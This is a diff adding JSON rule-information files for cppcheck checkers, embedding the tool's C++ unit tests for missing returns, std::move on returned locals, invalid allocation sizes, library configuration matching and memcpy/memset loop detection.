2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/returnLocalStdMove.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/returnLocalStdMove.json new file mode 100644 index 0000000..3411a25 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/returnLocalStdMove.json @@ -0,0 +1,26 @@ +{ + "name": "returnLocalStdMove", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 25, + "branches": 8, + "apis": 29, + "test": [ + { + "description": null, + "expected-problems": 5, + "expected-linenumbers": [ + 1884, + 1891, + 1898, + 1905, + 1911 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n 